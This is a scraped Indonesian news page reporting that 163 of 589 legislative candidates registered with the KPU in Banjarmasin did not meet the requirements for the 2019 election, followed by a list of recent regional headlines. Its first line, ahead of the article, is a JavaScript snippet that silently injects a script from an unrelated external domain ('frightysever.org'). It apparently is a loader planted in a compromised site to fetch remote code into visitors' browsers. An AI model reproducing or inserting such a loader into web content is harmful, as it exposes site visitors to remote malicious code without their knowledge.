(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

163 dari 589 Bacaleg di KPU Banjarmasin Belum Penuhi Syarat


BANJARMASIN, Sebanyak 426 bakal calon legislatif (Bacaleg) yang terdaftar di Komisi Pemilihan Umum (KPU) Kota Banjarmasin dinyatakan telah memenuhi syarat sebagai Caleg.

Hal ini disampaikan Ketua KPU Kota Banjarmasin Khairunnizan. Ia mengatakan dari 589 Bacaleg yang didaftarkan 15 parpol peserta Pileg 2019, hanya 28 persen yang belum memenuhi syarat. “Yang memenuhi syarat sebanyak 426 Bacaleg dan yang tidak memenuhi 163 Bacaleg,” katanya.

Ditambahkannya, keputusan ini telah berdasarkan hasil penelitian administrasi yang sudah dilakukan KPU Kota Banjarmasin hasil seleksi dari berkas masing-masing Bacaleg sejak diterima penyerahan dari 4 Juli lalu sampai dengan 17 Juli 2018.

“Hal ini sudah dipaparkan sebelumnya bahwa 15 parpol saja PKPI tidak mendaftarkan calegnya untuk di Kota Banjarmasin,” ucapnya.

Dijelaskannya, terkait satu partai yang tidak mengusungkan caleg yaitu  PKPI, maka secara otomatis parpol tersebut tidak bisa ikut di Pileg 2019 di kota ini.

Terkait hasil verifikasi Bacaleg semua parpol yang sudah diumumkan, Khairunnizan menyatakan, masih diberikan kesempatan untuk memperbaiki berkas hingga 30 Juli 2018.

Menurut dia, semua parpol yang menyerahkan daftar Bacaleg terdapat Bacaleg yang belum memenuhi syarat, diantaranya tidak terlampirkan ijazah tamat sekolah yang terakhir, atau ketinggalan tanda tangan di formulir B1 atau B2.

“Ada sejumlah item yang harus dipenuhi Bacaleg itu, tidak hanya dokumen identitas diri, namun juga surat kesehatan jasmani, rohani dan terjamin tidak menggunakan narkoba, termasuk tidak pernah sebagai narapidana,” jelasnya.

Penelitian berkas Bacaleg ini dilakukan sangat teliti sehingga figur yang dimunculkan Parpol benar-benar bersih dan bermartabat. “Kita menjalankan tugas sesuai aturan, sehingga yang kita putuskan itu berpijak pada aturan tersebut,” pungkasnya. (ammar)

Reporter: Ammar
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

11 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

11 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

12 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

12 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

12 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

16 jam ago

This website uses cookies.